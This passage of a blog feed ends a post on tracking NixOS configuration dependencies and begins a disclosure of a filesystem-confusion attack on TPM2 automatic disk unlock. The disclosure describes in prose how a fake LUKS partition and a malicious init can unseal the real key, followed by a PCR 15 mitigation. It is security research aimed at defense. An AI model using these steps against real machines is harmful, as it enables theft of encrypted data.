&lt;pre class="giallo" style="color: #ABB2BF; background-color: #282C34;"&gt;&lt;code data-lang="nix"&gt;&lt;span class="giallo-l"&gt;&lt;span style="color: #E06C75;font-style: italic;"&gt;opt&lt;/span&gt;&lt;span&gt; // {&lt;/span&gt;&lt;span style="color: #D19A66;"&gt; value&lt;/span&gt;&lt;span&gt; =&lt;/span&gt;&lt;span style="color: #D19A66;"&gt; builtins&lt;/span&gt;&lt;span&gt;.&lt;/span&gt;&lt;span style="color: #E06C75;font-style: italic;"&gt;tagThunkOrigin scopeId loc opt&lt;/span&gt;&lt;span&gt;.&lt;/span&gt;&lt;span style="color: #E06C75;font-style: italic;"&gt;value&lt;/span&gt;&lt;span&gt;; }&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;But this creates a &lt;em&gt;new&lt;/em&gt; attrset with a wrapper thunk for the &lt;code&gt;value&lt;/code&gt;
attribute. The wrapper thunk is the expression &lt;code&gt;{ value = tagThunkOrigin ... }&lt;/code&gt; itself.
When the auto-registration later encounters this attrset and tags its member thunks, the wrapper gets
tagged with &lt;code&gt;["opt" "path" "value"]&lt;/code&gt;, but we wanted &lt;code&gt;["opt" "path"]&lt;/code&gt; without the trailing &lt;code&gt;"value"&lt;/code&gt;.
Otherwise, dependency paths look like &lt;code&gt;users.users.value.nixbld11&lt;/code&gt; instead of the correct &lt;code&gt;users.users.nixbld11&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;The fix was to add &lt;code&gt;builtins.tagAttrThunkOrigin&lt;/code&gt;, which tags the actual &lt;code&gt;Value*&lt;/code&gt; stored in the attrset's
internal &lt;code&gt;Bindings&lt;/code&gt; structure. Since auto-registration preserves existing tags (&lt;code&gt;getThunkOrigin&lt;/code&gt; check),
the correct origin is set before auto-registration ever sees it.&lt;/p&gt;
&lt;p&gt;Feels a bit hacky though.&lt;/p&gt;
&lt;h3 id="integration-with-the-nixos-module-system"&gt;&lt;span class="group"&gt;
&lt;span class="relative"&gt;
&lt;a class="select-none absolute pl-6 pr-2 end-0 top-1/2 -translate-y-1/2 invisible hover:visible group-hover:visible" style="font-size: 70%" href="#integration-with-the-nixos-module-system" aria-label="Anchor link for: integration-with-the-nixos-module-system"&gt;🔗&lt;/a&gt;
&lt;/span&gt;
&lt;!--
This might be the worst thing I've ever done. By omitting this closing tag on purpose,
we force the browser fix that mistake by inserting a matching closing tag _after_
the heading text. This allows us to construct a group around the text which
we would normally not be able to do in this template. Well, now cannot not know it anymore.
&lt;/span&gt;
--&gt;
Integration with the NixOS module system&lt;/h3&gt;
&lt;p&gt;The nixpkgs changes are pretty minimal, most of my changes are related to graphviz generation. Only &lt;code&gt;lib/modules.nix&lt;/code&gt; and the eval-config files have relevant
changes. And importantly, none of the actual NixOS module had to be modified.&lt;/p&gt;
&lt;p&gt;When &lt;code&gt;evalModules&lt;/code&gt; is called with &lt;code&gt;trackDependencies = true&lt;/code&gt;:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;A tracking scope is created &lt;em&gt;before&lt;/em&gt; &lt;code&gt;config&lt;/code&gt; is built (two-phase setup to break
the circular reference between scope ID and config).&lt;/li&gt;
&lt;li&gt;&lt;code&gt;tagOptionsRecursive&lt;/code&gt; walks the merged options tree. At each option node,
&lt;code&gt;tagAttrThunkOrigin&lt;/code&gt; tags the &lt;code&gt;.value&lt;/code&gt; attribute's thunk with the option's path.&lt;/li&gt;
&lt;li&gt;Both &lt;code&gt;config&lt;/code&gt; and &lt;code&gt;options&lt;/code&gt; attrsets are registered as tracked.&lt;/li&gt;
&lt;li&gt;When any option value is forced during evaluation, its origin path becomes the accessor context,
and any accesses to other tracked attributes are recorded.&lt;/li&gt;
&lt;li&gt;The result includes &lt;code&gt;_dependencyTracking.getDependencies&lt;/code&gt; to retrieve all recorded edges.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;Here's how the &lt;code&gt;tagOptionsRecursive&lt;/code&gt; function looks:&lt;/p&gt;
&lt;pre class="giallo" style="color: #ABB2BF; background-color: #282C34;"&gt;&lt;code data-lang="nix"&gt;&lt;span class="giallo-l"&gt;&lt;span style="color: #E06C75;font-style: italic;"&gt;tagOptionsRecursive&lt;/span&gt;&lt;span style="color: #FFFFFF;"&gt; =&lt;/span&gt;&lt;span style="font-style: italic;"&gt; pfx&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;span style="font-style: italic;"&gt; opts&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;/span&gt;
&lt;span class="giallo-l"&gt;&lt;span style="color: #E06C75;font-style: italic;"&gt; mapAttrs&lt;/span&gt;&lt;span&gt; (&lt;/span&gt;&lt;span style="font-style: italic;"&gt;name&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;span style="font-style: italic;"&gt; opt&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;/span&gt;
&lt;span class="giallo-l"&gt;&lt;span style="color: #C678DD;"&gt; let&lt;/span&gt;&lt;span style="color: #D19A66;"&gt; loc&lt;/span&gt;&lt;span&gt; =&lt;/span&gt;&lt;span style="color: #E06C75;font-style: italic;"&gt; pfx&lt;/span&gt;&lt;span&gt; ++ [&lt;/span&gt;&lt;span style="color: #E06C75;font-style: italic;"&gt; name&lt;/span&gt;&lt;span&gt; ];&lt;/span&gt;&lt;/span&gt;
&lt;span class="giallo-l"&gt;&lt;span style="color: #C678DD;"&gt; in if&lt;/span&gt;&lt;span style="color: #E06C75;font-style: italic;"&gt; isOption opt&lt;/span&gt;&lt;/span&gt;
&lt;span class="giallo-l"&gt;&lt;span style="color: #C678DD;"&gt; then&lt;/span&gt;&lt;span style="color: #D19A66;"&gt; builtins&lt;/span&gt;&lt;span&gt;.&lt;/span&gt;&lt;span style="color: #E06C75;font-style: italic;"&gt;tagAttrThunkOrigin trackingScopeId loc&lt;/span&gt;&lt;span style="color: #98C379;"&gt; &amp;quot;value&amp;quot;&lt;/span&gt;&lt;span style="color: #E06C75;font-style: italic;"&gt; opt&lt;/span&gt;&lt;/span&gt;
&lt;span class="giallo-l"&gt;&lt;span style="color: #C678DD;"&gt; else&lt;/span&gt;&lt;span style="color: #E06C75;font-style: italic;"&gt; tagOptionsRecursive loc opt&lt;/span&gt;&lt;/span&gt;
&lt;span class="giallo-l"&gt;&lt;span&gt; )&lt;/span&gt;&lt;span style="color: #E06C75;font-style: italic;"&gt; opts&lt;/span&gt;&lt;span style="color: #FFFFFF;"&gt;;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;It walks the options tree and whenever it finds an option node (recognized by &lt;code&gt;_type = "option"&lt;/code&gt;),
it tags the &lt;code&gt;.value&lt;/code&gt; attribute's thunk in-place with the option path. Non-option attrsets are
recursed into.&lt;/p&gt;
&lt;p&gt;Additionally, &lt;code&gt;eval-config.nix&lt;/code&gt; wraps the output so that &lt;code&gt;config.system.build.toplevel&lt;/code&gt; transparently
includes tracking data as JSON files. The inner toplevel is evaluated first via &lt;code&gt;builtins.seq&lt;/code&gt;
(which records all dependencies), and then the tracking data is serialized alongside the system closure.&lt;/p&gt;
&lt;h4 id="filtering-out-some-of-the-noise"&gt;&lt;span class="group"&gt;
&lt;span class="relative"&gt;
&lt;a class="select-none absolute pl-6 pr-2 end-0 top-1/2 -translate-y-1/2 invisible hover:visible group-hover:visible" style="font-size: 70%" href="#filtering-out-some-of-the-noise" aria-label="Anchor link for: filtering-out-some-of-the-noise"&gt;🔗&lt;/a&gt;
&lt;/span&gt;
&lt;!--
This might be the worst thing I've ever done. By omitting this closing tag on purpose,
we force the browser fix that mistake by inserting a matching closing tag _after_
the heading text. This allows us to construct a group around the text which
we would normally not be able to do in this template. Well, now cannot not know it anymore.
&lt;/span&gt;
--&gt;
Filtering out some of the noise&lt;/h4&gt;
&lt;p&gt;The raw dependency data contains over 150k edges for the basic configuration
from the beginnging, and includes access to a lot of the internal attributes
created by the NixOS module system, or come from accesses to
&lt;code&gt;_module.args.pkgs&lt;/code&gt; which are not actually options but appear because the
&lt;code&gt;pkgs&lt;/code&gt; specialArg refers to &lt;code&gt;config._module.args.pkgs&lt;/code&gt; and &lt;code&gt;config&lt;/code&gt; is tracked wholistically.&lt;/p&gt;
&lt;p&gt;Other noise comes from type checking, value merging, resolving
priorities, and so on. A post-processing step in &lt;code&gt;dependency-tracking.nix&lt;/code&gt; filters this down to
something more meaningful, but I know there's still some unnecessary stuff left over.&lt;/p&gt;
&lt;h3 id="config-value-serialization"&gt;&lt;span class="group"&gt;
&lt;span class="relative"&gt;
&lt;a class="select-none absolute pl-6 pr-2 end-0 top-1/2 -translate-y-1/2 invisible hover:visible group-hover:visible" style="font-size: 70%" href="#config-value-serialization" aria-label="Anchor link for: config-value-serialization"&gt;🔗&lt;/a&gt;
&lt;/span&gt;
&lt;!--
This might be the worst thing I've ever done. By omitting this closing tag on purpose,
we force the browser fix that mistake by inserting a matching closing tag _after_
the heading text. This allows us to construct a group around the text which
we would normally not be able to do in this template. Well, now cannot not know it anymore.
&lt;/span&gt;
--&gt;
Config value serialization&lt;/h3&gt;
&lt;p&gt;Beyond the dependency graph, the system also serializes the actual config values for all "leaf"
options. Before we can save that as JSON though, we need to filter out some of the stuff that cannot be serialized
into JSON like derivations, functions and paths which are replaced with &lt;code&gt;&amp;lt;derivation:name&amp;gt;&lt;/code&gt;, &lt;code&gt;&amp;lt;function&amp;gt;&lt;/code&gt; and &lt;code&gt;&amp;lt;path:...&amp;gt;&lt;/code&gt; placeholders.&lt;/p&gt;
&lt;p&gt;Each value is wrapped in &lt;code&gt;builtins.tryCatchAll&lt;/code&gt; to safely handle evaluation errors. Quite often there is stuff that cannot
be evaluated in a representable form, for example &lt;code&gt;assertions&lt;/code&gt; or &lt;code&gt;warnings&lt;/code&gt;. The messages in there often contain
string interpolations like &lt;code&gt;"${fileSystems'.cycle}"&lt;/code&gt; that throws missing-attribute errors when the assertion &lt;em&gt;passes&lt;/em&gt;,
as the message can only be safely evaluated when the assertion fails. Unfortunately, &lt;code&gt;tryEval&lt;/code&gt; cannot catch these, but &lt;code&gt;tryCatchAll&lt;/code&gt; can.&lt;/p&gt;
&lt;h2 id="limitations"&gt;&lt;span class="group"&gt;
&lt;span class="relative"&gt;
&lt;a class="select-none absolute pl-6 pr-2 end-0 top-1/2 -translate-y-1/2 invisible hover:visible group-hover:visible" style="font-size: 70%" href="#limitations" aria-label="Anchor link for: limitations"&gt;🔗&lt;/a&gt;
&lt;/span&gt;
&lt;!--
This might be the worst thing I've ever done. By omitting this closing tag on purpose,
we force the browser fix that mistake by inserting a matching closing tag _after_
the heading text. This allows us to construct a group around the text which
we would normally not be able to do in this template. Well, now cannot not know it anymore.
&lt;/span&gt;
--&gt;
Limitations&lt;/h2&gt;
&lt;p&gt;There's definitely stuff I missed. If you are trying this out yourself and
happen find a bug or something interesting, please &lt;a rel="external" href="https://github.com/oddlama/nixos-config-tui/issues/new"&gt;open an issue&lt;/a&gt;, or just
send it to me directly on &lt;a rel="external" href="https://matrix.to/#/@oddlama:matrix.org"&gt;Matrix&lt;/a&gt;.
I'll probably gather a bunch of issues for a follow-up at some point.&lt;/p&gt;
&lt;h4 id="list-accesses"&gt;&lt;span class="group"&gt;
&lt;span class="relative"&gt;
&lt;a class="select-none absolute pl-6 pr-2 end-0 top-1/2 -translate-y-1/2 invisible hover:visible group-hover:visible" style="font-size: 70%" href="#list-accesses" aria-label="Anchor link for: list-accesses"&gt;🔗&lt;/a&gt;
&lt;/span&gt;
&lt;!--
This might be the worst thing I've ever done. By omitting this closing tag on purpose,
we force the browser fix that mistake by inserting a matching closing tag _after_
the heading text. This allows us to construct a group around the text which
we would normally not be able to do in this template. Well, now cannot not know it anymore.
&lt;/span&gt;
--&gt;
List accesses&lt;/h4&gt;
&lt;p&gt;Accesses inside list literals are not fully tracked. When you write &lt;code&gt;[ config.x ]&lt;/code&gt;, the list elements
become thunks that are forced after the tracking context for the surrounding expression has been popped.
This doesn't occur super often in NixOS though, so I didn't implement this properly yet.&lt;/p&gt;
&lt;h4 id="no-full-provenance-tracking"&gt;&lt;span class="group"&gt;
&lt;span class="relative"&gt;
&lt;a class="select-none absolute pl-6 pr-2 end-0 top-1/2 -translate-y-1/2 invisible hover:visible group-hover:visible" style="font-size: 70%" href="#no-full-provenance-tracking" aria-label="Anchor link for: no-full-provenance-tracking"&gt;🔗&lt;/a&gt;
&lt;/span&gt;
&lt;!--
This might be the worst thing I've ever done. By omitting this closing tag on purpose,
we force the browser fix that mistake by inserting a matching closing tag _after_
the heading text. This allows us to construct a group around the text which
we would normally not be able to do in this template. Well, now cannot not know it anymore.
&lt;/span&gt;
--&gt;
No full provenance tracking&lt;/h4&gt;
&lt;p&gt;Originally I planned to include full provenance information, because ideally I'd like to know the actual
file, line and column where the value for a specific option came from. Sounds reasonably simple at
first to just attach that information, but when the thunk origin information is added by our new builtins, I didn't find
a way to access this provenance information. For example when a literal like &lt;code&gt;42&lt;/code&gt; is parsed, it quickly becomes a plain integer without
any way to attach additional information. So the source location is already lost.&lt;/p&gt;
&lt;p&gt;Adding this would be another bigger change in nix, and I didn't want to spend more time on this for now.&lt;/p&gt;
&lt;h2 id="conclusion"&gt;&lt;span class="group"&gt;
&lt;span class="relative"&gt;
&lt;a class="select-none absolute pl-6 pr-2 end-0 top-1/2 -translate-y-1/2 invisible hover:visible group-hover:visible" style="font-size: 70%" href="#conclusion" aria-label="Anchor link for: conclusion"&gt;🔗&lt;/a&gt;
&lt;/span&gt;
&lt;!--
This might be the worst thing I've ever done. By omitting this closing tag on purpose,
we force the browser fix that mistake by inserting a matching closing tag _after_
the heading text. This allows us to construct a group around the text which
we would normally not be able to do in this template. Well, now cannot not know it anymore.
&lt;/span&gt;
--&gt;
Conclusion&lt;/h2&gt;
&lt;p&gt;I found it quite interesting to see just how many options are actually involved in building a NixOS configuration.
Diffing NixOS configurations on the configuration level itself is something I wanted to have for a long time,
and I hope this serves well as a Proof-of-concept, showing that it is both possible and feasible!
It does come with a noticeable performance impact, but only if you actually enable &lt;code&gt;trackDependencies = true&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;I'm sure there are many ways in which this information could be used that I haven't thought of yet, so
please share your ideas!&lt;/p&gt;
&lt;p&gt;But there is more work to be done. As outlined before, I would love to have
proper provenance that tells me exactly where values were defined, and apart
from the known limitations there are certainly still bugs and edge-cases that
need to be found. But even in its current state, I've found the tracking data
to be genuinely useful for understanding how my NixOS configurations change
over time.&lt;/p&gt;
&lt;hr /&gt;
&lt;p&gt;If you'd like to send me feedback or just reach out, feel free to contact me on
&lt;a rel="external" href="https://matrix.to/#/@oddlama:matrix.org"&gt;Matrix&lt;/a&gt;!&lt;/p&gt;
&lt;p&gt;Discussion threads for this post:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a rel="external" href="https://discourse.nixos.org/t/diffing-nixos-configurations-at-the-config-level/75554"&gt;NixOS Discourse&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;</description></item><item><title>Bypassing disk encryption on systems with automatic TPM2 unlock</title><pubDate>Thu, 16 Jan 2025 00:00:00 +0000</pubDate><author>Unknown</author><link>https://oddlama.org/blog/bypassing-disk-encryption-with-tpm2-unlock/</link><guid>https://oddlama.org/blog/bypassing-disk-encryption-with-tpm2-unlock/</guid><description xml:base="https://oddlama.org/blog/bypassing-disk-encryption-with-tpm2-unlock/">&lt;p&gt;Have you setup automatic disk unlocking with TPM2 and &lt;code&gt;systemd-cryptenroll&lt;/code&gt; or
&lt;code&gt;clevis&lt;/code&gt;? Then chances are high that your disk can be decrypted by an
attacker who just has brief physical access to your machine - with some
preparation, 10 minutes will suffice. In this article we will explore how TPM2
based disk decryption works, and understand why many setups are vulnerable to a
kind of filesystem confusion attack. We will follow along by exploiting two different
real systems (Fedora + clevis, NixOS + systemd-cryptenroll).&lt;/p&gt;
&lt;pre class="giallo" style="color: #ABB2BF; background-color: #282C34;"&gt;&lt;code data-lang="shellscript"&gt;&lt;span class="giallo-l"&gt;&lt;span style="color: #7F848E;font-style: italic;"&gt;# Examples commands used to enroll a key into the TPM. Whether your system is&lt;/span&gt;&lt;/span&gt;
&lt;span class="giallo-l"&gt;&lt;span style="color: #7F848E;font-style: italic;"&gt;# suffers from this issue does not depend on which PCRs you choose here.&lt;/span&gt;&lt;/span&gt;
&lt;span class="giallo-l"&gt;&lt;span style="color: #61AFEF;"&gt;systemd-cryptenroll&lt;/span&gt;&lt;span style="color: #D19A66;"&gt; --tpm2-pcrs=0+2+7 --tpm2-device=auto&lt;/span&gt;&lt;span&gt; &amp;lt;&lt;/span&gt;&lt;span style="color: #98C379;"&gt;devic&lt;/span&gt;&lt;span&gt;e&amp;gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class="giallo-l"&gt;&lt;span style="color: #61AFEF;"&gt;clevis&lt;/span&gt;&lt;span style="color: #98C379;"&gt; luks bind&lt;/span&gt;&lt;span style="color: #D19A66;"&gt; -d&lt;/span&gt;&lt;span&gt; &amp;lt;&lt;/span&gt;&lt;span style="color: #98C379;"&gt;devic&lt;/span&gt;&lt;span&gt;e&amp;gt;&lt;/span&gt;&lt;span style="color: #98C379;"&gt; tpm2 &amp;#39;{&amp;quot;pcr_bank&amp;quot;:&amp;quot;sha256&amp;quot;,&amp;quot;pcr_ids&amp;quot;:&amp;quot;0,1,2,7&amp;quot;}&amp;#39;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;TL;DR:&lt;/strong&gt; Most TPM2 unlock setups fail to verify the LUKS identity of the
decrypted partition. Since the initrd must reside in an unencrypted boot
partition, an attacker can inspect it to learn how it decrypts the disk and
also what type of filesystem it expects to find inside. By recreating the LUKS
partition with a known key, we can confuse the initrd into executing a
malicious &lt;code&gt;init&lt;/code&gt; executable. Since the TPM state will not be altered in any way
by this fake partition, the original LUKS key can be unsealed from the TPM.
Afterwards, the initial disk state can be fully restored and then decrypted
using the obtained key.&lt;/p&gt;
&lt;p&gt;You are safe if you additionally use a pin to unlock your TPM, or use an initrd
that properly asserts the LUKS identity (which would involve manual work, so
you'd probably know if that is the case).&lt;/p&gt;
&lt;h2 id="the-idea-behind-tpm2-based-disk-decryption"&gt;&lt;span class="group"&gt;
&lt;span class="relative"&gt;
&lt;a class="select-none absolute pl-6 pr-2 end-0 top-1/2 -translate-y-1/2 invisible hover:visible group-hover:visible" style="font-size: 70%" href="#the-idea-behind-tpm2-based-disk-decryption" aria-label="Anchor link for: the-idea-behind-tpm2-based-disk-decryption"&gt;🔗&lt;/a&gt;
&lt;/span&gt;
&lt;!--
This might be the worst thing I've ever done. By omitting this closing tag on purpose,
we force the browser fix that mistake by inserting a matching closing tag _after_
the heading text. This allows us to construct a group around the text which
we would normally not be able to do in this template. Well, now cannot not know it anymore.
&lt;/span&gt;
--&gt;
The idea behind TPM2 based disk decryption&lt;/h2&gt;
&lt;p&gt;The idea behind secure and password-less disk decryption is that the TPM2 can
store an additional LUKS key which your system can only retrieve, if the TPM is
in a predetermined, known-good state. This state is recorded in the so-called
Platform Configuration Registers (PCRs), of which there are 24 in a standard
compliant TPM. Their intended use is described in the &lt;a rel="external" href="https://uapi-group.org/specifications/specs/linux_tpm_pcr_registry/"&gt;Linux TPM PCR
Registry&lt;/a&gt;
but also neatly summarized as a table in the
&lt;a rel="external" href="https://www.freedesktop.org/software/systemd/man/latest/systemd-cryptenroll.html"&gt;&lt;code&gt;systemd-cryptenroll(1)&lt;/code&gt;&lt;/a&gt;
man page.&lt;/p&gt;
&lt;p&gt;These registers store hashes which are successively updated while booting based
on information like the bootlaoder hash, the firmware in use, the booted
kernel, initrd image and a lot more things. By establishing a chain of trust
through all components involved in booting up to the linux userspace, we can
ensure that altering any component will affect one or several PCRs. Storing
data in the TPM requires you to select a list of PCRs and it will ensure that
the data can only be retrieved again if all of these PCRs are in the same state
as when enrolling the secret.&lt;/p&gt;
&lt;p&gt;Several of these registers have an agreed-upon purpose and are updated with some
specific information about your system, such as your board's firmware, your
BIOS configuration, OptionROMs (extra firmware loaded from external devices
such as PCIe devices after POST), the secure boot policy, or other things.
Here's an excerpt from the man page from above containing some of the registers
that are important to us:&lt;/p&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;PCR&lt;/th&gt;&lt;th&gt;Name&lt;/th&gt;&lt;th&gt;Explanation&lt;/th&gt;&lt;/tr&gt;&lt;/thead&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td&gt;0&lt;/td&gt;&lt;td&gt;platform-code&lt;/td&gt;&lt;td&gt;Core system firmware executable code; changes on firmware updates&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;2&lt;/td&gt;&lt;td&gt;external-code&lt;/td&gt;&lt;td&gt;Extended or pluggable executable code; includes option ROMs on pluggable hardware&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;7&lt;/td&gt;&lt;td&gt;secure-boot-policy&lt;/td&gt;&lt;td&gt;Secure Boot state; changes when UEFI SecureBoot mode is enabled/disabled, or firmware certificates (PK, KEK, db, dbx, …) changes.&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;15&lt;/td&gt;&lt;td&gt;system-identity&lt;/td&gt;&lt;td&gt;systemd-cryptsetup(8) optionally measures the volume key of activated LUKS volumes into this PCR. systemd-pcrmachine.service(8) measures the machine-id(5) into this PCR. systemd-pcrfs@.service(8) measures mount points, file system UUIDs, labels, partition UUIDs of the root and /var/ filesystems into this PCR.&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;p&gt;Below this list, an interesting piece of information is given in the man page
about the intended use of PCRs for encrypted volumes:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;In general, encrypted volumes would be bound to some combination of PCRs 7,
11, and 14 (if shim/MOK is used). In order to allow firmware and OS version
updates, it is typically not advisable to use PCRs such as 0 and 2, since the
program code they cover should already be covered indirectly through the
certificates measured into PCR 7. Validation through certificates hashes is
typically preferable over validation through direct measurements as it is
less brittle in context of OS/firmware updates: the measurements will change
on every update, but signatures should remain unchanged. See the Linux TPM
PCR Registry for more discussion.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;If you enroll your own secure boot keys and use a Unified Kernel Image (UKI),
then using just PCR 7 will be sufficient to ensure integrity up to the point
where we need to unlock our disk. Some distributions instead ship EFI
executables that are pre-signed with the Microsoft keys, which allows them to
enable secure boot by default without requiring the user to generate and enroll
anything on their own. Since this also means that the user cannot sign their
kernel and/or initrd image, a trusted and pre-signed shim is often used to
measure the hash of the kernel and initrd before executing them into PCR 9,
which we would want to use in that case. Another approach is to have the user
generate a so-called Machine Owner Key (MOK) if they want to sign something, in
which case PCR 14 should be used, too.&lt;/p&gt;
&lt;p&gt;So the exact PCR selection may change a bit depending on the user's setup. A
quick &lt;a rel="external" href="https://github.com/search?q=cryptenroll+%2F0%5C%2B2%5C%2B7%2F&amp;amp;type=code"&gt;search on GitHub&lt;/a&gt;
or &lt;a rel="external" href="https://duckduckgo.com/?t=h_&amp;amp;q=cryptenroll+0%2B2%2B7&amp;amp;ia=web"&gt;on the internet&lt;/a&gt; reveals
that many people still opt to use additional PCRs like 0 and 2 in addition to
7, which is of course fine but may result in keys becoming inaccessible when
the BIOS or some firmware is updated - which can be annoying.&lt;/p&gt;
&lt;h3 id="a-common-vulnerable-setup"&gt;&lt;span class="group"&gt;
&lt;span class="relative"&gt;
&lt;a class="select-none absolute pl-6 pr-2 end-0 top-1/2 -translate-y-1/2 invisible hover:visible group-hover:visible" style="font-size: 70%" href="#a-common-vulnerable-setup" aria-label="Anchor link for: a-common-vulnerable-setup"&gt;🔗&lt;/a&gt;
&lt;/span&gt;
&lt;!--
This might be the worst thing I've ever done. By omitting this closing tag on purpose,
we force the browser fix that mistake by inserting a matching closing tag _after_
the heading text. This allows us to construct a group around the text which
we would normally not be able to do in this template. Well, now cannot not know it anymore.
&lt;/span&gt;
--&gt;
A common (vulnerable) setup&lt;/h3&gt;
&lt;p&gt;If you already have secure boot set up, configuring TPM2 unlock for your LUKS
partition is usually very simple. Most guides will resort to &lt;code&gt;systemd-cryptenroll&lt;/code&gt; or &lt;code&gt;clevis&lt;/code&gt;
which are different implementations that internally do some variation of the following:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Add a newly generated key to your LUKS partition&lt;/li&gt;
&lt;li&gt;Seal this key in your TPM based on your selection of PCRs&lt;/li&gt;
&lt;li&gt;Store the encrypted TPM context in the LUKS token metadata which is required
to unseal the secret at a later point in time&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;Both &lt;code&gt;clevis&lt;/code&gt; and &lt;code&gt;systemd-cryptenroll&lt;/code&gt; can store tokens in other ways than a
TPM2, for example using a FIDO2 key. I found that &lt;code&gt;clevis&lt;/code&gt; also supports
retrieving tokens from network resources, but other than that the two tools are
very similar in what they do. &lt;code&gt;systemd-cryptenroll&lt;/code&gt; just comes pre-packaged
with &lt;code&gt;systemd&lt;/code&gt; so it is usually a bit simpler to use. Here is an example:&lt;/p&gt;
&lt;pre class="giallo" style="color: #ABB2BF; background-color: #282C34;"&gt;&lt;code data-lang="shellscript"&gt;&lt;span class="giallo-l"&gt;&lt;span style="color: #61AFEF;"&gt;systemd-cryptenroll&lt;/span&gt;&lt;span style="color: #D19A66;"&gt; --tpm2-pcrs=7 --tpm2-device=auto&lt;/span&gt;&lt;span style="color: #98C379;"&gt; /dev/nvme0n1p3&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;In theory, the disk is now properly protected, assuming the kernel command line
cannot be edited, right? It can only be decrypted if PCR 7 is unchanged, and
anything we would do to the bootloader, kernel or initrd would affect PCR 7.&lt;/p&gt;
&lt;p&gt;Well, of course, I wouldn't be asking if there wasn't a tiny caveat: Assuming
all disks were mounted properly, the initrd can be certain that no code has
been modified up to this point. But it does &lt;em&gt;not&lt;/em&gt; automatically ensure that
the data on them is authentic. As the very last step, the initrd will execute
the &lt;code&gt;init&lt;/code&gt; executable of the real system, which usually doesn't undergo any
kind of signature check before it is executed. And why would it have to - after
all it is part of the encrypted root partition which cannot be altered by an
attacker.&lt;/p&gt;
&lt;h3 id="the-exploit"&gt;&lt;span class="group"&gt;
&lt;span class="relative"&gt;
&lt;a class="select-none absolute pl-6 pr-2 end-0 top-1/2 -translate-y-1/2 invisible hover:visible group-hover:visible" style="font-size: 70%" href="#the-exploit" aria-label="Anchor link for: the-exploit"&gt;🔗&lt;/a&gt;
&lt;/span&gt;
&lt;!--
This might be the worst thing I've ever done. By omitting this closing tag on purpose,
we force the browser fix that mistake by inserting a matching closing tag _after_
the heading text. This allows us to construct a group around the text which
we would normally not be able to do in this template. Well, now cannot not know it anymore.
&lt;/span&gt;
--&gt;
The exploit&lt;/h3&gt;
&lt;p&gt;First of all, it is important to know that the initrd will fall back to a
password prompt, if TPM unlocking fails for whatever reason. A BIOS update
could always cause the secure boot database to be altered (thus invalidating
PCR 7), or somebody makes a mistake when updating the system and forgets to
sign the kernel and initrd properly. In such a case you don't want to be locked
out from your system completely, so asking for the password is a sane thing
to do.&lt;/p&gt;
&lt;p&gt;But that also means if we replace the encrypted partition with a new LUKS
partition (for which we choose the password), then the TPM decryption will fail
and we will be asked for the password, which we control. After entering the
password, the initrd will now think it has decrypted the partition correctly
and proceed. If we manage to put the correct kind of filesystem inside of our
fake LUKS partition so that the actual mounting succeeds, we can ship a
malicious &lt;code&gt;init&lt;/code&gt; binary that now has full access to the unlocked TPM, thus
allowing us to decrypt the original filesystem, which we would have to backup
before creating our malicious partition.&lt;/p&gt;
&lt;p&gt;Now you might think the initrd can simply verify the filesystem UUID before
mounting it since we cannot read it from the disk, but remember that anything
the initrd knows is public knowledge, as the boot partition and initrd image
are not encrypted. So we can just reuse the same LUKS UUID and filesystem UUID
if necessary.&lt;/p&gt;
&lt;h3 id="securing-the-system"&gt;&lt;span class="group"&gt;
&lt;span class="relative"&gt;
&lt;a class="select-none absolute pl-6 pr-2 end-0 top-1/2 -translate-y-1/2 invisible hover:visible group-hover:visible" style="font-size: 70%" href="#securing-the-system" aria-label="Anchor link for: securing-the-system"&gt;🔗&lt;/a&gt;
&lt;/span&gt;
&lt;!--
This might be the worst thing I've ever done. By omitting this closing tag on purpose,
we force the browser fix that mistake by inserting a matching closing tag _after_
the heading text. This allows us to construct a group around the text which
we would normally not be able to do in this template. Well, now cannot not know it anymore.
&lt;/span&gt;
--&gt;
Securing the system&lt;/h3&gt;
&lt;p&gt;To solve this, we need to be able to authenticate all encrypted volumes before
accessing any file on them.
In &lt;a rel="external" href="https://0pointer.net/blog/brave-new-trusted-boot-world.html"&gt;this article&lt;/a&gt; by
Lennart Poettering from October 2022, where he describes the state of secure
boot in systemd, he mentions what the process should look like to make the system
secure. It is a bit involved so let me reiterate the important part.&lt;/p&gt;
&lt;p&gt;After a disk has been unlocked, we want to derive a value from its volume key
(the master key used to encrypt all its data) and use this value to extend PCR
15. This ensures that any fake volume would change this value since the
original volume key cannot be known. Using &lt;code&gt;systemd-cryptsetup&lt;/code&gt; instead of
&lt;code&gt;cryptsetup&lt;/code&gt; can already take care of this by adding &lt;code&gt;tpm2-measure-pcr=yes&lt;/code&gt; to the
crypttab file.&lt;/p&gt;
&lt;p&gt;If we now ensure that the disk decryption order is deterministic,
then we can compare the value in PCR 15 against a known and signed value in the
initrd. If the wrong value is observed, the initrd can now abort the boot process
before executing anything malicious.&lt;/p&gt;
&lt;h3 id="many-broken-guides"&gt;&lt;span class="group"&gt;
